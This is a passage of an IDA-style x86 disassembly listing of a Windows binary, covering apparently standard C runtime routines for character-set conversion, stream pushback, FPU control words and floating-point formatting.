		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
